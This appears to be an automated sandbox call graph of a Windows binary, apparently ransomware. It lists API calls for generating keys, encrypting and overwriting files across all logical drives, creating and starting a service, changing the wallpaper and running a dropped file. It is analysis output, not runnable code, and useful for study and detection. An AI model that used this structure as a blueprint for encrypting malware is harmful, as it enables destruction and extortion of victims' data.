?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 4261->4216 4264 10003906 4262->4264 4263->4261 4265 100038a1 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 4263->4265 4264->4216 4265->4261 4266 100038b7 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 4265->4266 4266->4261 4268 1000227a swprintf 4267->4268 4269 1000221a wcscpy wcsrchr 4267->4269 4270 1000229a GetFileAttributesW 4268->4270 4271 10002265 4269->4271 4272 10002245 _wcsicmp 4269->4272 4274 100022d8 4270->4274 4275 100022aa 4270->4275 4273 1000226f wcscat 4271->4273 4272->4273 4276 1000225e wcscpy 4272->4276 4273->4270 4278 100022e7 4274->4278 4280 10002ba0 29 API calls 4274->4280 4282 10001960 4275->4282 4276->4270 4278->4166 4279 100022ba 4279->4274 4281 100022be DeleteFileW 4279->4281 4280->4278 4281->4166 4283 10001a12 CreateFileW 4282->4283 4284 10001a07 4282->4284 4285 10001a74 GetFileSizeEx 4283->4285 4286 10001a34 4283->4286 4284->4283 4287 10001a91 GetFileTime ReadFile 4285->4287 4288 10001a86 4285->4288 4286->4288 4295 10001a48 CreateFileW 4286->4295 4290 10001b98 SetFilePointer 4287->4290 4291 10001ace 4287->4291 4289 1000208e _local_unwind2 4288->4289 4289->4279 4293 10001bb7 swprintf CreateFileW 4290->4293 4294 10001c5b ReadFile 4290->4294 4291->4290 4292 10001ae8 ReadFile 4291->4292 4292->4290 4297 10001b0e 4292->4297 4298 10001c01 CreateFileW 4293->4298 4306 10001c38 4293->4306 4294->4288 4296 10001c7f 4294->4296 4295->4285 4299 10001a6a 4295->4299 4296->4288 4300 10001c8f SetFilePointer WriteFile 4296->4300 4297->4290 4302 10001b22 ReadFile 4297->4302 4298->4288 4298->4306 4299->4289 4300->4288 4301 10001cbc 4300->4301 4301->4288 4304 10001ccc SetFilePointer WriteFile 4301->4304 4302->4290 4305 10001b44 ReadFile 4302->4305 4303 10001d66 4340 10004370 4303->4340 4304->4288 4308 10001d09 4304->4308 4305->4290 4309 10001b67 4305->4309 4306->4303 4313 10001d54 rand 4306->4313 4308->4288 4311 10001d19 SetFilePointer 4308->4311 4309->4290 4312 10001b72 _local_unwind2 4309->4312 4310 10001dba 4310->4288 4349 10005dc0 4310->4349 4311->4306 4312->4279 4313->4303 4315 10001de3 WriteFile 4315->4288 4317 10001e30 WriteFile 4315->4317 4317->4288 4318 10001e51 WriteFile 4317->4318 4318->4288 4319 10001e77 WriteFile 4318->4319 4319->4288 4320 10001e95 WriteFile 4319->4320 4320->4288 4321 10001eb6 4320->4321 4322 100020b7 SetFileTime 4321->4322 4325 10001ee5 SetFilePointer ReadFile 4321->4325 4336 10001f9b 4321->4336 4323 10002130 CloseHandle MoveFileW 4322->4323 4324 100020da FindCloseChangeNotification CloseHandle MoveFileW 4322->4324 4329 10002158 _local_unwind2 4323->4329 4327 10002110 SetFileAttributesW 4324->4327 4328 10002121 DeleteFileW 4324->4328 4325->4288 4330 10001f19 4325->4330 4326 100020ab 4326->4322 4327->4329 4328->4329 4329->4279 4330->4288 4332 10006940 12 API calls 4330->4332 4334 10001f46 WriteFile 4332->4334 4333 10001fcc ReadFile 4333->4288 4333->4336 4334->4288 4335 10001f6a 4334->4335 4335->4288 4337 10001f7a SetFilePointer 4335->4337 4336->4288 4336->4326 4336->4333 4356 10006940 4336->4356 4337->4336 4341 10004386 4340->4341 4342 1000437d 4340->4342 4369 10004420 CryptGenRandom 4341->4369 4342->4310 4344 10004397 4345 1000439b 4344->4345 4346 100043b2 EnterCriticalSection CryptEncrypt 4344->4346 4345->4310 4347 10004401 LeaveCriticalSection 4346->4347 4348 100043f2 LeaveCriticalSection 4346->4348 4347->4345 4348->4310 4350 10005df4 4349->4350 4351 10005dce ??0exception@@QAE@ABQBD _CxxThrowException 4349->4351 4352 10005e2d 4350->4352 4353 10005e07 ??0exception@@QAE@ABQBD _CxxThrowException 4350->4353 4351->4350 4354 10005e40 ??0exception@@QAE@ABQBD _CxxThrowException 4352->4354 4355 10005e66 4352->4355 4353->4352 4354->4355 4355->4315 4355->4355 4357 10006950 ??0exception@@QAE@ABQBD _CxxThrowException 4356->4357 4358 1000696e 4356->4358 4357->4358 4359 10006b7c ??0exception@@QAE@ABQBD _CxxThrowException 4358->4359 4360 10006990 4358->4360 4361 10006a69 4360->4361 4363 1000205a WriteFile 4360->4363 4365 10006a4b ??0exception@@QAE@ABQBD _CxxThrowException 4360->4365 4370 10006640 4360->4370 4362 10006b34 4361->4362 4361->4363 4364 10006640 4 API calls 4361->4364 4367 10006b16 ??0exception@@QAE@ABQBD _CxxThrowException 4361->4367 4362->4363 4366 10006640 4 API calls 4362->4366 4363->4288 4363->4336 4364->4361 4365->4361 4366->4362 4367->4362 4369->4344 4371 10006650 ??0exception@@QAE@ABQBD _CxxThrowException 4370->4371 4372 1000666e 4370->4372 4371->4372 4375 10006694 4372->4375 4376 10006280 4372->4376 4374 1000668a 4374->4360 4375->4360 4377 10006291 ??0exception@@QAE@ABQBD _CxxThrowException 4376->4377 4378 100062af 4376->4378 4377->4378 4378->4374 4378->4378 4380 10006bd0 4379->4380 4381 1000301a GetFileAttributesW 4380->4381 4382 10003030 4381->4382 4383 1000303c 4381->4383 4382->4179 4384 10003040 SetFileAttributesW 4383->4384 4385 1000304a CreateFileW 4383->4385 4384->4385 4386 100030a3 GetFileSizeEx 4385->4386 4387 10003066 4385->4387 4388 100030bf 4386->4388 4392 100030ea 4386->4392 4389 10003073 4387->4389 4390 1000307d CreateFileW 4387->4390 4400 10004420 CryptGenRandom 4388->4400 4389->4179 4390->4386 4391 10003097 4390->4391 4391->4179 4394 10003161 4392->4394 4395 10003142 SetFilePointer 4392->4395 4396 1000316e WriteFile FlushFileBuffers SetFilePointer 4394->4396 4395->4396 4397 100031e9 FindCloseChangeNotification 4396->4397 4399 10003195 4396->4399 4397->4179 4398 100031ba WriteFile 4398->4399 4399->4397 4399->4398 4400->4392 4402 100050d0 swprintf CreateDirectoryW sprintf 4401->4402 4403 1000508e GetTempPathW wcslen 4401->4403 4404 10001080 6 API calls 4402->4404 4405 10005112 4403->4405 4406 100050aa wcslen 4403->4406 4404->4405 4405->4042 4406->4405 4407 100050b8 wcslen 4406->4407 4407->4042 4408->4035 4410 10003bb0 3 API calls 4409->4410 4411 1000176c 4410->4411 4412 10003bb0 3 API calls 4411->4412 4413 10001774 4412->4413 4417 10001790 GlobalFree 4413->4417 4418 100017a3 4413->4418 4414 100017cc 4415 10001800 DeleteCriticalSection wcslen 4414->4415 4416 100017d6 WaitForSingleObject CloseHandle 4414->4416 4420 10001821 DeleteFileW 4415->4420 4421 100016b2 4415->4421 4416->4415 4417->4418 4418->4414 4418->4418 4419 100017b9 GlobalFree 4418->4419 4419->4414 4420->4421 4421->4068 4421->4070 4422->4073 4423->4075 4425 100047da ExitThread 4424->4425 4426 1000479c 4424->4426 4426->4425 4427 100047a8 time 4426->4427 4429 100047c4 Sleep 4426->4429 4428 10004730 3 API calls 4427->4428 4428->4426 4429->4426 4431 100049a6 time 4430->4431 4432 10004a24 Sleep 4431->4432 4433 100049b7 4431->4433 4432->4431 4433->4432 4434 100049c6 time 4433->4434 4437 100049df 4433->4437 4435 10001000 5 API calls 4434->4435 4435->4437 4437->4432 4438 100049eb GetFullPathNameA 4437->4438 4458 10004890 4437->4458 4467 100047f0 4438->4467 4441 10005745 Sleep GetLogicalDrives 4440->4441 4442 100057af ExitThread 4440->4442 4443 10005760 4441->4443 4443->4441 4443->4442 4444 10005781 CreateThread 4443->4444 4444->4443 4445 10005799 CloseHandle 4444->4445 4488 10005680 4444->4488 4445->4443 4447 10005337 4446->4447 4448 10005309 4446->4448 4449 10001080 6 API calls 4448->4449 4450 1000531e Sleep 4449->4450 4450->4448 4451 10005331 4450->4451 4454 100045cc 4452->4454 4453 10004500 21 API calls 4453->4454 4454->4453 4455 100045e7 ExitThread 4454->4455 4456 100045de Sleep 4454->4456 4456->4454 4474 10001360 AllocateAndInitializeSid 4458->4474 4460 1000489c 4461 100048a9 GetFullPathNameA sprintf 4460->4461 4462 10004913 CreateProcessA 4460->4462 4463 10001080 6 API calls 4461->4463 4465 10004969 CloseHandle CloseHandle 4462->4465 4466 1000497f 4462->4466 4464 10004907 4463->4464 4464->4462 4464->4466 4465->4466 4466->4437 4468 10001360 3 API calls 4467->4468 4469 10004810 4468->4469 4479 100014a0 GetComputerNameW wcslen 4469->4479 4472 10001080 6 API calls 4473 1000487d 4472->4473 4473->4437 4475 100013a6 4474->4475 4476 100013ab CheckTokenMembership 4474->4476 4475->4460 4477 100013c0 4476->4477 4478 100013c4 FreeSid 4476->4478 4477->4478 4478->4460 4480 10001517 srand rand 4479->4480 4481 100014f7 4479->4481 4483 10001533 4480->4483 4482 100014fb wcslen 4481->4482 4482->4480 4482->4482 4484 10001548 rand 4483->4484 4485 1000155d 4483->4485 4484->4484 4484->4485 4486 10001564 rand 4485->4486 4487 10001579 sprintf 4485->4487 4486->4486 4486->4487 4487->4472 4489 10001590 2 API calls 4488->4489 4490 100056a4 4489->4490 4491 10001830 57 API calls 4490->4491 4492 100056c7 4491->4492 4493 100056f8 4492->4493 4494 100056cb 4492->4494 4496 10005540 191 API calls 4493->4496 4495 10001680 14 API calls 4494->4495 4497 100056df 4495->4497 4498 1000570d 4496->4498 4503 10005190 GetDriveTypeW 4498->4503 4500 10005713 4501 10001760 10 API calls 4500->4501 4502 1000571f ExitThread 4501->4502 4504 100052ee 4503->4504 4505 100051cf GlobalAlloc 4503->4505 4504->4500 4505->4504 4506 100051e6 4505->4506 4517 10005120 4506->4517 4508 10005215 CreateFileW 4509 10005239 GlobalFree 4508->4509 4510 1000524a MoveFileExW 4508->4510 4509->4500 4511 10005263 4510->4511 4512 100052cd GlobalFree FlushFileBuffers CloseHandle DeleteFileW 4510->4512 4511->4512 4513 10005269 GetDiskFreeSpaceExW 4511->4513 4514 1000529b WriteFile 4511->4514 4512->4504 4513->4511 4513->4512 4514->4512 4515 100052b3 Sleep 4514->4515 4515->4514 4516 100052bd Sleep 4515->4516 4516->4512 4516->4513 4518 10005060 14 API calls 4517->4518 4519 10005150 swprintf DeleteFileW 4518->4519 4519->4508 5131 10004f20 swprintf MultiByteToWideChar CopyFileW 5132 10005024 swprintf CopyFileW 5131->5132 5133 10004fba GetUserNameW _wcsicmp 5131->5133 5133->5132 5134 10005013 SystemParametersInfoW 5133->5134 5134->5132 5271 10001660 5272 10001680 14 API calls 5271->5272 5273 10001668 5272->5273 5274 10001678 5273->5274 5275 1000166f ??3@YAXPAX 5273->5275 5275->5274 5276 10003560 5277 10003595 ??3@YAXPAX 5276->5277 5278 1000356e ??3@YAXPAX 5276->5278 5278->5277 5278->5278 4520 4016e1 4521 4016f6 4520->4521 4522 4016ea FindCloseChangeNotification 4520->4522 4522->4521 5279 4021a3 GetProcAddress 4524 401e67 GetFileAttributesA 4525 401e41 4524->4525 4526 401e8f 4525->4526 4531 4075c4 4525->4531 4535 407656 4526->4535 4529 401e95 4532 4075e4 4531->4532 4533 401e4f strcmp 4531->4533 4532->4533 4543 406c40 4532->4543 4533->4524 4533->4525 4536 407666 4535->4536 4537 40765f 4535->4537 4536->4537 4590 40747b 4536->4590 4537->4529 4539 407699 ??3@YAXPAX 4539->4529 4544 406c5f 4543->4544 4548 406ca2 4543->4548 4545 406c75 4544->4545 4544->4548 4574 406a97 4544->4574 4547 406c81 4545->4547 4550 406c9e 4545->4550 4547->4548 4549 406c85 memcpy 4547->4549 4548->4533 4549->4548 4550->4548 4551 406d4a 4550->4551 4580 405d0e 4551->4580 4554 406d89 4554->4548 4555 406d5e ??2@YAPAXI 4584 405d8a 4555->4584 4558 406d80 ??3@YAXPAX 4558->4554 4559 406d93 strcpy 4560 406dbe _mbsstr 4559->4560 4562 406de7 _mbsstr 4560->4562 4562->4560 4563 406df5 _mbsstr 4562->4563 4563->4560 4564 406e03 _mbsstr 4563->4564 4564->4560 4565 406e16 strcpy 4564->4565 4566 406e48 4565->4566 4589 406b23 SystemTimeToFileTime 4566->4589 4568 406ee5 LocalFileTimeToFileTime 4569 406f32 strcmp 4568->4569 4570 406f6e 4568->4570 4569->4570 4571 406f5f 4569->4571 4572 407042 memcpy 4570->4572 4573 40703b ??3@YAXPAX 4570->4573 4571->4569 4571->4570 4572->4548 4573->4572 4575 406ab0 4574->4575 4577 406aa9 4574->4577 4575->4545 4576 406ad7 free 4578 406add 4576->4578 4577->4575 4577->4576 4577->4578 4579 406aee free 4578->4579 4579->4575 4581 405d1c 4580->4581 4582 405d52 4580->4582 4581->4582 4583 405d47 SetFilePointer 4581->4583 4582->4554 4582->4555 4583->4582 4585 405dbe memcpy 4584->4585 4586 405d9e ReadFile 4584->4586 4587 405db5 4585->4587 4586->4587 4587->4558 4587->4559 4589->4568 4591 407484 4590->4591 4592 40748b 4590->4592 4594 406a97 2 API calls 4591->4594 4593 40749c 4592->4593 4601 406162 4592->4601 4593->4539 4596 407572 4593->4596 4594->4592 4597 407586 ??3@YAXPAX 4596->4597 4598 40758d 4596->4598 4597->4598 4599 4075a0 ??3@YAXPAX 4598->4599 4600 4075a7 ??3@YAXPAX 4598->4600 4599->4600 4600->4539 4602 406170 4601->4602 4603 40616b 4601->4603 4604 40617c 4602->4604 4606 406a97 2 API calls 4602->4606 4603->4593 4608 405c9f 4604->4608 4606->4604 4607 406184 free 4607->4593 4609 405ca8 4608->4609 4610 405cad 4608->4610 4609->4607 4611 405cb3 CloseHandle 4610->4611 4612 405cbc ??3@YAXPAX 4610->4612 4611->4612 4612->4607 5135 10005727 5136 10005730 GetLogicalDrives 5135->5136 5137 10005745 Sleep GetLogicalDrives 5136->5137 5138 100057af ExitThread 5136->5138 5139 10005760 5137->5139 5139->5137 5139->5138 5140 10005781 CreateThread 5139->5140 5140->5139 5141 10005799 CloseHandle 5140->5141 5142 10005680 277 API calls 5140->5142 5141->5139 4690 100021ac 4691 100021b7 CloseHandle 4690->4691 4693 100021be 4690->4693 4691->4693 4692 100021d4 wcslen 4694 100021f5 4692->4694 4695 100021e8 DeleteFileW 4692->4695 4693->4692 4696 100021cd CloseHandle 4693->4696 4695->4694 4696->4692 5280 4075ad 5283 4074a4 5280->5283 5296 4076c8 5283->5296 5285 4074ae ??2@YAPAXI 5286 4074d0 5285->5286 5287 4074c8 5285->5287 5300 406b8e 5286->5300 5297 407527 5287->5297 5291 407509 ??2@YAPAXI 5292 407505 5291->5292 5293 4074f3 5293->5292 5294 407572 2 API calls 5293->5294 5295 4074fe ??3@YAXPAX 5294->5295 5295->5292 5296->5285 5298 40756b 5297->5298 5299 40754e strlen ??2@YAPAXI strcpy 5297->5299 5298->5286 5299->5298 5301 406b9e 5300->5301 5308 406bf9 5300->5308 5302 406ba8 GetCurrentDirectoryA strlen 5301->5302 5301->5308 5303 406bcd 5302->5303 5304 406bde 5302->5304 5303->5304 5305 406bd1 strcat 5303->5305 5306 406c00 5304->5306 5307 406be5 SetFilePointer 5304->5307 5305->5304 5312 405bae 5306->5312 5307->5306 5307->5308 5308->5291 5308->5293 5313 405bbd 5312->5313 5314 405c18 SetFilePointer 5313->5314 5315 405c36 ??2@YAPAXI 5313->5315 5316 405beb CreateFileA 5313->5316 5319 405bc7 5313->5319 5314->5315 5318 405c46 5315->5318 5316->5314 5316->5319 5318->5319 5320 405c85 SetFilePointer 5318->5320 5319->5308 5321 405fe2 5319->5321 5320->5319 5322 406118 5321->5322 5323 405ff9 5321->5323 5322->5308 5324 406112 5323->5324 5347 405edf 5323->5347 5325 405c9f 2 API calls 5324->5325 5325->5322 5328 405d0e SetFilePointer 5329 406026 5328->5329 5330 405e6b 2 API calls 5329->5330 5331 40603a 5330->5331 5332 405e27 2 API calls 5331->5332 5333 40604d 5332->5333 5334 405e27 2 API calls 5333->5334 5335 406060 5334->5335 5336 405e27 2 API calls 5335->5336 5337 406076 5336->5337 5338 405e27 2 API calls 5337->5338 5339 406089 5338->5339 5340 405e6b 2 API calls 5339->5340 5341 4060ba 5340->5341 5342 405e6b 2 API calls 5341->5342 5343 4060cd 5342->5343 5344 405e27 2 API calls 5343->5344 5346 4060e3 5344->5346 5345 40611d malloc 5345->5322 5346->5324 5346->5345 5348 405d0e SetFilePointer 5347->5348 5349 405ef3 5348->5349 5350 405f2a 5349->5350 5359 405cdd 5349->5359 5350->5328 5352 405f02 malloc 5352->5350 5358 405f32 5352->5358 5354 405fd3 free 5354->5350 5355 405d0e SetFilePointer 5355->5358 5356 405fd2 5356->5354 5357 405d8a 2 API calls 5357->5358 5358->5354 5358->5355 5358->5356 5358->5357 5360 405d01 5359->5360 5361 405cea 5359->5361 5360->5352 5361->5360 5362 405cef SetFilePointer 5361->5362 5362->5352 4697 40216e VirtualAlloc 5143 4056ee free 4703 100053f0 GetUserNameW _wcsicmp 4704 10005452 4703->4704 4705 10005444 4703->4705 4706 100027f0 168 API calls 4704->4706 4707 10005468 4706->4707 5364 4019b1 5365 4019c0 5364->5365 5366 4019b7 GlobalFree 5364->5366 5367 4019c6 CloseHandle 5365->5367 5368 4019cf 5365->5368 5366->5365 5367->5368 5369 4021b2 FreeLibrary 5370 4071b2 5371 406880 6 API calls 5370->5371 5372 4071c8 5371->5372 5373 406a97 2 API calls 5372->5373 5374 4071d8 5372->5374 5373->5374 4708 10003ff3 4709 10004001 4708->4709 4710 10003ffa GlobalFree 4708->4710 4711 10004010 4709->4711 4712 10004009 FindCloseChangeNotification 4709->4712 4710->4709 4712->4711 4713 75a000 4715 75a044 GetPEB 4713->4715 4720 75a077 CreateFileA 4715->4720 4717 75a265 4718 75a22d 4719 75a246 WriteFile 4718->4719 4721 75a244 4718->4721 4722 75a255 FindCloseChangeNotification WinExec 4719->4722 4720->4717 4720->4718 4721->4722 4722->4717 5144 407178 5145 406a97 2 API calls 5144->5145 5146 40715e 5145->5146 4724 4077ba __set_app_type __p__fmode __p__commode 4725 407829 4724->4725 4726 407831 __setusermatherr 4725->4726 4727 40783d 4725->4727 4726->4727 4736 40792a _controlfp 4727->4736 4729 407842 _initterm __getmainargs _initterm 4730 407896 GetStartupInfoA 4729->4730 4732 4078ca GetModuleHandleA 4730->4732 4737 401fe7 GetModuleFileNameA 4732->4737 4736->4729 4773 401225 GetComputerNameW wcslen 4737->4773 4740 40203b __p___argv strcmp 4741 40208e strrchr 4740->4741 4744 402056 4740->4744 4742 4020b4 SetCurrentDirectoryA 4741->4742 4743 4020a5 strrchr 4741->4743 4781 4010fd wcscat 4742->4781 4743->4742 4848 401b5f MultiByteToWideChar GetWindowsDirectoryW swprintf GetFileAttributesW 4744->4848 4747 4020c8 4789 401e9e 4747->4789 4749 402061 CopyFileA GetFileAttributesA 4749->4741 4750 402081 4749->4750 4862 401f5d GetFullPathNameA 4750->4862 4756 402165 exit _XcptFilter 4758 401064 6 API calls 4759 4020f2 4758->4759 4803 40170a 4759->4803 4763 402109 4816 401437 4763->4816 4766 402150 4877 40137a 4766->4877 4774 4012a0 srand rand 4773->4774 4775 401280 4773->4775 4777 4012c0 rand 4774->4777 4778 4012d6 4774->4778 4776 401286 wcslen 4775->4776 4776->4774 4776->4776 4777->4777 4777->4778 4779 4012f1 __p___argc 4778->4779 4780 4012dd rand 4778->4780 4779->4740 4779->4741 4780->4778 4782 40115c 4781->4782 4783 40117a RegCreateKeyW 4782->4783 4784 4011cc RegQueryValueExA 4782->4784 4785 40118e GetCurrentDirectoryA strlen RegSetValueExA 4782->4785 4786 40121a 4782->4786 4783->4782 4787 401200 RegCloseKey 4784->4787 4788 4011f3 SetCurrentDirectoryA 4784->4788 4785->4787 4786->4747 4787->4782 4787->4786 4788->4787 4885 401000 4789->4885 4792 401ed0 rand strcpy 4794 401000 4 API calls 4792->4794 4793 401efa 4795 401064 CreateProcessA 4793->4795 4794->4793 4796 4010b2 4795->4796 4799 4010f7 4795->4799 4797 4010e3 CloseHandle CloseHandle 4796->4797 4798 4010b7 WaitForSingleObject 4796->4798 4797->4799 4800 4010d2 4798->4800 4801 4010c7 TerminateProcess 4798->4801 4799->4758 4800->4797 4802 4010d7 GetExitCodeProcess 4800->4802 4801->4800 4802->4797 4894 401a45 4803->4894 4806 4017d3 4806->4756 4810 4012fd 4806->4810 4807 401727 LoadLibraryA 4807->4806 4808 40173c 7 API calls 4807->4808 4808->4806 4809 4017a7 4808->4809 4809->4806 4811 401307 __EH_prolog 4810->4811 4899 4017dd InitializeCriticalSection 4811->4899 4813 401317 4900 4017dd InitializeCriticalSection 4813->4900 4815 401324 4815->4763 4901 401861 4816->4901 4819 401485 4819->4766 4823 4014a6 CreateFileA 4819->4823 4820 40145d GlobalAlloc 4820->4819 4822 401476 GlobalAlloc 4820->4822 4821 401861 11 API calls 4821->4820 4822->4819 4824 4016d0 _local_unwind2 4823->4824 4825 401524 GetFileSizeEx 4823->4825 4827 4016f9 4824->4827 4825->4824 4826 401538 4825->4826 4826->4824 4828 401547 ReadFile 4826->4828 4827->4766 4845 4021bd 4827->4845 4828->4824 4829 401564 memcmp 4828->4829 4829->4824 4830 401582 ReadFile 4829->4830 4830->4824 4831 40159f 4830->4831 4831->4824 4832 4015b0 ReadFile 4831->4832 4832->4824 4833 4015cb ReadFile 4832->4833 4833->4824 4834 4015e8 ReadFile 4833->4834 4834->4824 4835 401605 4834->4835 4835->4824 4931 4019e1 4835->4931 4838 40164a 4936 402a76 4838->4936 4841 40167a ReadFile 4841->4824 4842 401698 4841->4842 4842->4824 4944 403a77 4842->4944 4986 4021e9 4845->4986 4849 401c40 swprintf 4848->4849 4850 401c1b 4848->4850 4852 401af6 7 API calls 4849->4852 5047 401af6 CreateDirectoryW SetCurrentDirectoryW 4850->5047 4854 401c6b 4852->4854 4855 401af6 7 API calls 4854->4855 4861 401c38 4854->4861 4856 401c88 4855->4856 4857 401c8f GetTempPathW wcsrchr 4856->4857 4856->4861 4858 401cb4 wcsrchr 4857->4858 4859 401cc5 4857->4859 4858->4859 4860 401af6 7 API calls 4859->4860 4860->4861 4861->4741 4861->4749 5052 401ce8 OpenSCManagerA 4862->5052 4865 401fb6 4867 401064 6 API calls 4865->4867 4869 401fd9 4865->4869 4868 401fcb 4867->4868 4868->4869 4870 401eff 4 API calls 4868->4870 4869->4741 4869->4756 4870->4869 4871 402924 4872 4029a5 SetLastError 4871->4872 4874 402940 4871->4874 4873 4029af 4872->4873 4873->4766 4874->4872 4875 402981 _stricmp 4874->4875 4876 40295c 4874->4876 4875->4874 4875->4876 4876->4872 4876->4873 4878 401384 __EH_prolog 4877->4878 5065 4013ce 4878->5065 4880 40139d ctype 5074 40181b DeleteCriticalSection 4880->5074 4882 4013b5 5075 40181b DeleteCriticalSection 4882->5075 4884 4013c1 4884->4756 4886 40100a fopen 4885->4886 4888 401029 4886->4888 4889 40102d 4886->4889 4888->4792 4888->4793 4890 401047 fwrite 4889->4890 4891 40103f fread 4889->4891 4892 40104d fclose 4890->4892 4891->4892 4892->4888 4895 401a55 LoadLibraryA 4894->4895 4896 401711 4894->4896 4897 401ac8 4895->4897 4898 401a6a 6 API calls 4895->4898 4896->4806 4896->4807 4897->4896 4898->4897 4899->4813 4900->4815 4911 40182c 4901->4911 4904 4018a3 4909 401448 4904->4909 4924 4018b9 4904->4924 4905 401890 4915 4018f9 CreateFileA 4905->4915 4906 401875 CryptImportKey 4906->4904 4909->4819 4909->4820 4909->4821 4912 401833 CryptAcquireContextA 4911->4912 4913 401853 4912->4913 4914 401859 4912->4914 4913->4912 4913->4914 4914->4904 4914->4905 4914->4906 4916 4019a0 _local_unwind2 4915->4916 4917 401948 GetFileSize 4915->4917 4918 4018a0 4916->4918 4917->4916 4919 40195a 4917->4919 4918->4904 4919->4916 4920 401962 GlobalAlloc 4919->4920 4920->4916 4921 401973 ReadFile 4920->4921 4921->4916 4922 401987 CryptImportKey 4921->4922 4922->4916 4923 40199d 4922->4923 4923->4916 4925 4018c3 CryptDestroyKey 4924->4925 4926 4018ce 4924->4926 4925->4926 4927 4018e0 4926->4927 4928 4018d5 CryptDestroyKey 4926->4928 4929 4018f4 4927->4929 4930 4018e7 CryptReleaseContext 4927->4930 4928->4927 4929->4909 4930->4929 4932 401642 4931->4932 4933 4019ee EnterCriticalSection CryptDecrypt 4931->4933 4932->4824 4932->4838 4934 401a13 LeaveCriticalSection 4933->4934 4935 401a1d LeaveCriticalSection memcpy 4933->4935 4934->4932 4935->4932 4937 402a87 ??0exception@@QAE@ABQBD _CxxThrowException 4936->4937 4938 402aa9 4936->4938 4937->4938 4939 402ae1 4938->4939 4941 402abf ??0exception@@QAE@ABQBD _CxxThrowException 4938->4941 4940 402b13 memcpy memcpy 4939->4940 4942 402af1 ??0exception@@QAE@ABQBD _CxxThrowException 4939->4942 4943 401666 GlobalAlloc 4940->4943 4941->4939 4942->4940 4943->4824 4943->4841 4945 403aa5 4944->4945 4946 403a89 ??0exception@@QAE@ABQBD _CxxThrowException 4944->4946 4947 403bba ??0exception@@QAE@ABQBD _CxxThrowException 4945->4947 4948 403ac2 4945->4948 4946->4945 4949 403b28 4948->4949 4950 403ac8 4948->4950 4952 403b3a 4949->4952 4955 403b8b 4949->4955 4957 4016c5 4950->4957 4961 403797 4950->4961 4969 403a28 4950->4969 4952->4957 4959 403a28 2 API calls 4952->4959 4972 40350f 4952->4972 4953 403797 5 API calls 4953->4955 4955->4953 4955->4957 4957->4824 4958 403af2 memcpy 4958->4950 4958->4957 4960 403b5a memcpy 4959->4960 4960->4952 4960->4957 4962 4037c4 4961->4962 4963 4037a8 ??0exception@@QAE@ABQBD _CxxThrowException 4961->4963 4964 4037e1 4962->4964 4965 4037cf 4962->4965 4963->4962 4967 4037dc 4964->4967 4968 403923 memcpy 4964->4968 4980 4031bc 4965->4980 4967->4950 4968->4964 4968->4967 4970 403a35 ??0exception@@QAE@ABQBD _CxxThrowException 4969->4970 4971 403a51 4969->4971 4970->4971 4971->4958 4971->4971 4973 403520 ??0exception@@QAE@ABQBD _CxxThrowException 4972->4973 4974 40353c 4972->4974 4973->4974 4975 403547 4974->4975 4978 403559 4974->4978 4983 402e7e 4975->4983 4977 403554 4977->4952 4978->4977 4979 403695 memcpy 4978->4979 4979->4977 4979->4978 4981 4031ea 4980->4981 4982 4031ce ??0exception@@QAE@ABQBD _CxxThrowException 4980->4982 4981->4967 4982->4981 4984 402e90 ??0exception@@QAE@ABQBD _CxxThrowException 4983->4984 4985 402eac 4983->4985 4984->4985 4985->4977 5012 402457 4986->5012 4988 402200 4990 402457 SetLastError 4988->4990 4996 402214 SetLastError 4988->4996 5009 40213f 4988->5009 4993 402235 4990->4993 4991 40228c GetModuleHandleA 4992 40229f 4991->4992 4991->5009 4994 4022b5 GetNativeSystemInfo 4992->4994 4992->5009 4993->4991 4993->4996 4993->5009 4994->4996 4999 4022dd 4994->4999 4995 40230f GetProcessHeap HeapAlloc 4995->4996 4997 40233d 4995->4997 4996->5009 4998 402457 SetLastError 4997->4998 5001 402382 4998->5001 4999->4995 4999->4996 5000 402436 5037 4029cc 5000->5037 5001->5000 5003 40239d memcpy 5001->5003 5015 402470 5003->5015 5005 4023c7 5005->5000 5021 4027df 5005->5021 5009->4766 5009->4871 5010 402400 5010->5000 5010->5009 5011 40242b SetLastError 5010->5011 5011->5000 5013 402461 SetLastError 5012->5013 5014 40246c 5012->5014 5013->4988 5014->4988 5016 40253f 5015->5016 5018 402499 5015->5018 5016->5005 5017 402457 SetLastError 5017->5018 5018->5016 5018->5017 5019 4024c8 memset 5018->5019 5020 402512 memcpy 5018->5020 5019->5018 5020->5018 5022 4023f5 5021->5022 5023 40280a IsBadReadPtr 5021->5023 5022->5000 5031 40254b 5022->5031 5023->5022 5029 402820 5023->5029 5024 402846 realloc 5026 4028ec SetLastError 5024->5026 5024->5029 5026->5022 5027 4028d6 IsBadReadPtr 5027->5022 5027->5029 5028 402909 SetLastError 5028->5022 5029->5022 5029->5024 5029->5026 5029->5027 5029->5028 5036 402579 5031->5036 5032 40262e 5033 40267b VirtualProtect 5032->5033 5034 40263e 5033->5034 5034->5010 5036->5032 5036->5034 5043 40267b 5036->5043 5038 402a43 5037->5038 5042 4029d8 5037->5042 5038->5009 5039 402a1d GetProcessHeap HeapFree 5039->5038 5041 402a12 free 5041->5039 5042->5039 5042->5041 5044 402692 5043->5044 5045 40268a 5043->5045 5044->5045 5046 402705 VirtualProtect 5044->5046 5045->5036 5046->5045 5048 401b18 CreateDirectoryW SetCurrentDirectoryW 5047->5048 5050 401b27 5047->5050 5049 401b2b GetFileAttributesW SetFileAttributesW 5048->5049 5048->5050 5049->5050 5051 401b42 swprintf 5049->5051 5050->4849 5050->4861 5051->5050 5053 401d12 OpenServiceA 5052->5053 5054 401d0b 5052->5054 5055 401d45 sprintf CreateServiceA 5053->5055 5056 401d2e StartServiceA CloseServiceHandle 5053->5056 5054->4865 5060 401eff sprintf 5054->5060 5058 401d81 StartServiceA CloseServiceHandle 5055->5058 5059 401d98 5055->5059 5057 401d9b CloseServiceHandle 5056->5057 5057->5054 5058->5059 5059->5057 5061 401f26 OpenMutexA 5060->5061 5062 401f4c 5060->5062 5063 401f51 CloseHandle 5061->5063 5064 401f3b Sleep 5061->5064 5062->4865 5063->5062 5064->5061 5064->5062 5066 4018b9 ctype 3 API calls 5065->5066 5067 4013db 5066->5067 5068 4018b9 ctype 3 API calls 5067->5068 5069 4013e3 5068->5069 5070 401410 5069->5070 5073 401401 GlobalFree 5069->5073 5071 401430 5070->5071 5072 401421 GlobalFree 5070->5072 5071->4880 5072->5071 5073->5070 5074->4882 5075->4884 5076 40673d 5077 406a97 2 API calls 5076->5077 5078 406743 5077->5078 